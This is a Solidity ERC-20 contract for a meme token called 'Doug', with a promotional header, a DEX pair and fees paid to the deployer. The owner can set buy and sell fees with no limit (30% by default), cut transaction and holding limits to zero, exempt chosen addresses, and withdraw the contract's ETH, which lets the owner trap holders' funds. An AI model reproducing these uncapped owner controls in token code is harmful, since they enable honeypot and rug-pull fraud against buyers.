// SPDX-License-Identifier:MIT

/**

Hey there, it's ya boy Doug Heffernan from Queens!  
Welcome to the official smart contract of the Doug Token. 

Website: www.dougheffernan.org
Twitter: www.twitter.com/thetokenofdoug
Telegram: www.t.me/thetokenofdoug

**/

pragma solidity ^0.8.18;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IDexFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDexRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external;
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = payable(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract Doug is Context, IERC20, Ownable {
    string private _name = "Doug";
    string private _symbol = "DOUG";
    uint8 private _decimals = 18;
    uint256 private _totalSupply = 207_000_000_000 * 1e18; 

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    mapping(address => bool) public isExcludedFromFee;
    mapping(address => bool) public isExcludedFromMaxTxn;
    mapping(address => bool) public isExcludedFromMaxHolding;

    uint256 public minTokenToSwap = (_totalSupply * 5) / (10000); 
    uint256 public maxHoldLimit = (_totalSupply * 2) / (100); 
    uint256 public maxTxnLimit = (_totalSupply * 2) / (100); 
    uint256 public percentDivider = 100;
    uint256 public launchedAt;

    bool public distributeAndLiquifyStatus;
    bool public feesStatus;
    bool public trading;

    IDexRouter public dexRouter;
    address public dexPair;
    address public feeReceiver; 

    uint256 public marketingFeeOnBuying = 30;
    uint256 public marketingFeeOnSelling = 30;

    event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity);

    constructor() {
        _balances[owner()] = _totalSupply;
        feeReceiver = _msgSender(); 

        dexRouter = IDexRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        isExcludedFromFee[address(dexRouter)] = true;
        isExcludedFromMaxTxn[address(dexRouter)] = true;
        isExcludedFromMaxHolding[address(dexRouter)] = true;

        dexPair = IDexFactory(dexRouter.factory()).createPair(address(this), dexRouter.WETH());
        isExcludedFromMaxHolding[dexPair] = true;

        isExcludedFromFee[owner()] = true;
        isExcludedFromFee[address(this)] = true;
        isExcludedFromMaxTxn[owner()] = true;
        isExcludedFromMaxTxn[address(this)] = true;
        isExcludedFromMaxHolding[owner()] = true;
        isExcludedFromMaxHolding[address(this)] = true;

        emit Transfer(address(0), owner(), _totalSupply);
    }

    receive() external payable {}

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue);
        return true;
    }

    function includeOrExcludeFromFee(address account, bool value) external onlyOwner {
        isExcludedFromFee[account] = value;
    }

    function includeOrExcludeFromMaxTxn(address account, bool value) external onlyOwner {
        isExcludedFromMaxTxn[account] = value;
    }

    function includeOrExcludeFromMaxHolding(address account, bool value) external onlyOwner {
        isExcludedFromMaxHolding[account] = value;
    }

    function setMinTokenToSwap(uint256 _amount) external onlyOwner {
        minTokenToSwap = _amount * 1e18;
    }

    function setMaxHoldLimit(uint256 _amount) external onlyOwner {
        maxHoldLimit = _amount * 1e18;
    }

    function setMaxTxnLimit(uint256 _amount) external onlyOwner {
        maxTxnLimit = _amount * 1e18;
    }

    function setBuyFeePercent(uint256 _marketingFee) external onlyOwner {
        marketingFeeOnBuying = _marketingFee;
    }

    function setSellFeePercent(uint256 _marketingFee) external onlyOwner {
        marketingFeeOnSelling = _marketingFee;
    }

    function setDistributionStatus(bool _value) public onlyOwner {
        distributeAndLiquifyStatus = _value;
    }

    function enableOrDisableFees(bool _value) external onlyOwner {
        feesStatus = _value;
    }

    function enableTrading() external onlyOwner {
        require(!trading, ": already enabled");
        trading = true;
        feesStatus = true;
        distributeAndLiquifyStatus = true;
        launchedAt = block.timestamp;
    }

    function removeStuckEth(address _receiver) public onlyOwner {
        payable(_receiver).transfer(address(this).balance);
    }

    function totalBuyFeePerTx(uint256 amount) public view returns (uint256) {
        uint256 fee = (amount * marketingFeeOnBuying) / percentDivider;
        return fee;
    }

    function totalSellFeePerTx(uint256 amount) public view returns (uint256) {
        uint256 fee = (amount * marketingFeeOnSelling) / percentDivider;
        return fee;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), " approve from the zero address");
        require(spender != address(0), "approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "transfer from the zero address");
        require(to != address(0), "transfer to the zero address");
        require(amount > 0, "Amount must be greater than zero");
        if (!isExcludedFromMaxTxn[from] && !isExcludedFromMaxTxn[to]) {
            require(amount <= maxTxnLimit, " max txn limit exceeds");
            if (!trading) {
                require(dexPair != from && dexPair != to, ": trading is disable");
            }
        }

        if (!isExcludedFromMaxHolding[to]) {
            require((balanceOf(to) + amount) <= maxHoldLimit, ": max hold limit exceeds");
        }

        distributeAndLiquify(from, to);

        bool takeFee = true;
        if (isExcludedFromFee[from] || isExcludedFromFee[to] || !feesStatus) {
            takeFee = false;
        }

        _tokenTransfer(from, to, amount, takeFee);
    }

    function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
        if (dexPair == sender && takeFee) {
            uint256 allFee;
            uint256 tTransferAmount;
            allFee = totalBuyFeePerTx(amount);
            tTransferAmount = amount - allFee;
            _balances[sender] = _balances[sender] - amount;
            _balances[recipient] = _balances[recipient] + tTransferAmount;
            emit Transfer(sender, recipient, tTransferAmount);
            takeTokenFee(sender, allFee);
        } else if (dexPair == recipient && takeFee) {
            uint256 allFee = totalSellFeePerTx(amount);
            uint256 tTransferAmount = amount - allFee;
            _balances[sender] = _balances[sender] - amount;
            _balances[recipient] = _balances[recipient] + tTransferAmount;
            emit Transfer(sender, recipient, tTransferAmount);
            takeTokenFee(sender, allFee);
        } else {
            _balances[sender] = _balances[sender] - amount;
            _balances[recipient] = _balances[recipient] + amount;
            emit Transfer(sender, recipient, amount);
        }
    }

    function takeTokenFee(address sender, uint256 amount) private {
    _balances[address(this)] = _balances[address(this)] + amount;
    emit Transfer(sender, address(this), amount);
    }

    function distributeAndLiquify(address from, address to) private {
    uint256 contractTokenBalance = balanceOf(address(this));
    bool shouldSell = contractTokenBalance >= minTokenToSwap;
    if (shouldSell && from != dexPair && distributeAndLiquifyStatus && !(from == address(this) && to == dexPair)) {
        _approve(address(this), address(dexRouter), minTokenToSwap);
        Utils.swapTokensForEth(address(dexRouter), minTokenToSwap);
        uint256 ethForFees = address(this).balance;
        if (ethForFees > 0) payable(feeReceiver).transfer(ethForFees); 
    }
}
}

library Utils {
    function swapTokensForEth(address routerAddress, uint256 tokenAmount) internal {
        IDexRouter dexRouter = IDexRouter(routerAddress);
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = dexRouter.WETH();
        dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp + 300);
    }
}